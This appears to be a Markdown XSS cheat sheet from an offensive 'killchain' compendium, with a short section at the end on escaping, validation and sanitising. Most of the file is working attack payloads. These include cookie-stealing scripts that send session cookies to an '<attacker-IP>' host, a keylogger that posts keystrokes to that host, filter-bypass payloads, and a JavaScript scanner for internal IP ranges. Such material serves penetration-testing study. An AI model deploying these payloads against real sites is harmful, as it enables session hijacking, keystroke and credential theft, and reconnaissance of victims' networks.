killchain-compendium/Exploits/Web/XSS.md

231 lines
6.1 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cross-Site Scripting
A web application is vulnerable to XSS if it uses unsanitized user input. XSS
is possible in Javascript, VBScript, Flash and CSS.
## Stored XSS
This is where a malicious string originates from the websites database. Such as
(stored in a db)
* User profiles
* Chats and comments
* Part of link
* Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).
### Examples
Sanity test by changing DOM content
```html
<script>document.getElementById('myIdName').innerHTML="napf"</script>
```
Cookie stealing
```javascript
<script>document.location='/log/'+document.cookie</script>
```
Navigte to `/logs` and take sid
Open nc port and collect cookies
```javascript
<script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>
<script>var i=new Image;i.src="http://<attacker-IP>:<attacker-Port>/?"+document.cookie;</script>
```
## Reflected XSS
In a reflected cross-site scripting attack, the malicious payload is part of
the victims request to the website. The website includes this payload in
response back to the user. To summarise, an attacker needs to trick a victim
into clicking a URL to execute their malicious payload.
* URL parameters inside GET queries
* File paths
### Usage
As script inside parameter
```html
http://example.com/search?keyword=<script>...</script>
```
Show server IP
```html
http://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>
```
Session stealing, base64 encoded
```javascript
<script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>
```
Open netcat binder to catch the http queries
## DOM based XSS
With [DOM-Based
XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based), an
attackers payload will only be executed through the DOM when the
vulnerable Javascript code is either loaded or interacted with. It goes through
a Javascript function like so:
```javascript
var keyword = document.querySelector('#search')
keyword.innerHTML = <script>...</script>
```
DOM based XSS also works out directly through the URL if parts of the URL (URL
fragments) are put into a javascript function. These fragments inside the URL
are marked by a `#` char and are executed inside the DOM not the server. An
example of a URL is as follows.
```html
https://example.com#<img src=x onerror=alert(document.cookie)></img>
```
Measurements against DOM based XSS are URL encoding and httponly cookies.
### DOM based XSS via JQuery
Put the payload inside an iframe to use it through JQuery through triggering
`hashchange`. This is described on
[the
portswigger](https://portswigger.net/web-security/cross-site-scripting/dom-based)
page.
```html
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
```
### Usage
Find the sub-object inside the document through ending the string and execute a
javascript alert when hovering over the sub-object.
```javascript
test" onmouseover="alert('YO!')"
```
Show cookie
```javascript
test" onmouseover="alert(document.cookie)"
```
## Bypass Filters
`<script>` sanitizing
```HTML
<img src=x onerror=alert('Hello');>
```
or
```javascript
<</script>script>alert("1");<</script>/script>
```
`alert()` sanitizing
```javascript
0\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>"-confirm(3)-"
```
or
```javascript
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
```
Strings, here its `Hello`
```javascript
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>
```
## Portscanner via Javascript
By requesting the favicon, checking port 80
```javascript
<script>
for (let i = 0; i < 256; i++) {
let ip = '192.168.0.' + i
let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
document.body.innerHTML += code
}
</script>
```
[pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)
## Keylogger
```javascript
<script type="text/javascript">
let l = ""; // Variable to store key-strokes in
document.onkeypress = function (e) { // Event to listen for key presses
l += e.key; // If user types, log it to the l variable
console.log(l); // update this line to post to your own server
}
</script>
```
Base64 encoded keylogger
```javascript
<script>
document.onkeypress = function (e) {
fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );
}
</script>
```
## Tab Nabbing
* Redirection of source after opening a tab through a provisioned link and back referencing
* [Hacktricks Tabnabbing](https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing)
## Tricks and Tips
* Use Polyglots
* [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
* Close the a vulnerable, exploitable tag and open a script tag
```html
</tag><script>alert(1);</script>
```
## Protection Methods
There are many ways to prevent XSS, here are the 3 ways to keep cross-site
scripting our of your application.
1. Escaping - Escape all user input. This means any data your application has
received is secure before rendering it for your end users. By escaping user
input, key characters in the data received but the web page will be
prevented from being interpreter in any malicious way. For example, you
could disallow the < and > characters from being rendered.
2. Validating Input - This is the process of ensuring your application is
rendering the correct data and preventing malicious data from doing harm to
your site, database and users. Input validation is disallowing certain
characters from being submit in the first place.
3. Sanitising - Lastly, sanitizing data is a strong defence but should not be
used to battle XSS attacks alone. Sanitizing user input is especially
helpful on sites that allow HTML markup, changing the unacceptable user
input into an acceptable format. For example you could sanitise the <
character into the HTML entity &#60;